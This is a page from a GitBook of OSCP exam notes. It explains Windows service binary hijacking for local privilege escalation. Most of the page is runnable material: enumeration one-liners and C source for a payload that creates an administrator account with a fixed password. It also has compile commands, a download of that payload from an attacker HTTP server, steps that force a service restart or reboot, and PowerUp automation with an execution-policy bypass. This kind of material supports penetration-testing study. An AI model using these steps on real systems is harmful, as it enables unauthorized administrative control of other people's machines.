๐Ÿฒ
OSCP Notes
  • ๐ŸฒOSCP Notes
  • ๐ŸฒOSCP Methodology
  • ๐Ÿ’กMisc
    • Metasploit
    • Antivirus Evasion
    • Password attacks
    • Reverse Shells
    • Port Forwarding, Tunneling and Pivoting
      • Local Port Forwarding
      • Remote Port Forwarding
      • Dynamic Port Forwarding
      • Lingolo-ng
    • Information Gathering
      • Passive Reconnaissance
        • Whois
        • Google Dorks
        • NetCraft
        • Git Repository
      • Active Reconnaissance
        • DNS Enumeration
        • Host Discovery
        • Port scanning
        • SMTP - 25
        • SNMP
  • Linux
    • Local Enumeration
    • Local Privileges Escalation
      • Scheduled tasks
      • Password Authentication
      • Monitor Processes
      • SetUID Binaries and Capabilities
      • Sudoers
      • Kernel Exploits
  • Windows
    • ๐Ÿง Mindmap
    • ๐ŸฅMimikatz Basics
    • Enumeration
      • External Enumeration
      • Local Enumeration
      • Active Directory
        • PowerView
    • NTLM Hashes
    • Local Privilege Escalation
      • Service Binary Hijacking
      • Service DLL Hijacking
      • Unquoted Service Paths
      • Scheduled Tasks
      • Token impersonation
      • Backup Operators Group
    • Lateral Movement
      • WMI and WinRM
      • PsExec
      • Pass The Hash
      • Overpass The Hash
      • Pass The Ticket
      • DCOM
    • Persistence
      • Golden Ticket
      • Shadow Copy
    • Authentication Attacks
      • AS-REP Roasting
      • Kerberoasting
      • Password Spray
      • Silver Ticket
      • DC Sync
    • Client Side
    • NTLM Authentication
    • Kerberos Authentication
    • Cached Credentials
  • Web attacks
    • WordPress
    • SQL Injection (SQLi)
    • Command Injection
    • Directory Traversal
    • Local File Inclusion (LFI)
    • File Upload
Powered by GitBook
On this page
  • Enumerate Services
  • PowerShell cmdlet
  • Registry
  • Enumerate Binary Permissions
  • Creating The Malicious Binary
  • Triggering the Execution
  • Manual restart
  • Automatic restart
  • Automated Process
  • References
  1. Windows
  2. Local Privilege Escalation

Service Binary Hijacking

This attack involves replacing the service binary with a malicious version and restart the service.

PreviousLocal Privilege EscalationNextService DLL Hijacking

Last updated 6 months ago

Enumerate Services

PowerShell cmdlet

Using Get-CimInstance with PowerShell to list running services and filter built in services:

Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running' -and $_.PathName -notlike "C:\Windows\system32*"}

When running Get-CimInstance and Get-Service via WinRM or a bind shell will result in a "Access denied" error when querying for services with a non-administrative user. Using an interactive logon such as RDP solves this problem.

Registry

The following one-liner command was taken from source code and uses the registry to enumerate services.

Note: this is very useful when using low privileged user.

$servicios = Get-ItemProperty "registry::HKLM\System\CurrentControlSet\Services\*" | Where-Object {$_.imagepath -notmatch "system" -and $_.imagepath -ne $null } | Select-Object pschildname,imagepath  ; foreach ($servicio in $servicios  ) {Get-Service $servicio.PSChildName -ErrorAction SilentlyContinue | Out-Null ; if ($? -eq $true) {$privs = $true} else {$privs = $false} ; $Servicios_object = New-Object psobject -Property @{"Service" = $servicio.pschildname ; "Path" = $servicio.imagepath ; "Privileges" = $privs} ;  $Servicios_object
}

Enumerate Binary Permissions

Verifying the permission to modify the binary:

icacls "<binary_path>"

The table below describes the permissions definitions icacls results:

Mask
Permissions

F

Full access

M

Modify access

RX

Read and execute access

R

Read-only access

W

Write-only access

Creating The Malicious Binary

The C code you provided appears to add a new user <user> with the password password123! to the system and elevate it to administrator:

#include <stdlib.h>

int main ()
{
  int i;
  
  i = system ("net user <user> password123! /add");
  i = system ("net localgroup administrators <user> /add");
  
  return 0;
}

Compiling this C code to create an executable:

x86_64-w64-mingw32-gcc adduser.c -o adduser.exe

Moving the legitimate service's binary, in order to be able to replace with the malicious one:

move <binary_path> <somepath>

Transferring the executable from the attacker machine:

iwr -uri http://<attacker_http_server>/adduser.exe -Outfile <binary_path>

Triggering the Execution

In order to trigger the malicious binary execution it's needed to either restart the service manually or If the service is set to start automatically, it possible to reboot the machine to force the service to start. Once the service restarts, the malicious binary will be executed.

Checking the Service Permissions:

sc sdshow <service_name>

Manual restart

Trying to restart the service:

net stop <service_name>
net start <service_name>
Stop-Service <Service_name>
Start-Service <Service_name>

Automatic restart

If restarting the service is not allowed, trying the another method as described above:

  1. Checking if the service set to restart automatically:

sc query <service_name>
Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like '<service_name>'}
  1. Checking if the current user (foothold) has the SeShutdownPrivilege permission which allows to reboot the machine

whoami /priv
  1. Rebooting the machine

/r - Reboot instead of shutdown.

/t 0 - Trigger in 0 seconds.

shutdown /r /t 0

Automated Process

It is possible to automate the process using well known tool called PowerUp from PowerSploit Collection:

Downloading PowerUp.ps1:

iwr -uri http://<attacker_http_server>/PowerUp.ps1 -Outfile PowerUp.ps1

Bypassing Execution Policy:

powershell -ep bypass

Importing PowerUp.ps1:

. .\PowerUp.ps1

Finding Modifiable Services using Get-ModifiableServiceFile is a PowerUp function that looks for services on the machine whose executables are modifiable by the current user.

Get-ModifiableServiceFile

Exploiting:

Install-ServiceBinary -Name '<service_name>'

References

evil-winrm
PowerSploit/PowerUp.ps1 at master ยท PowerShellMafia/PowerSploitGitHub
Sc.exe queryMicrosoftLearn
Sc.exe query
Logo
Logo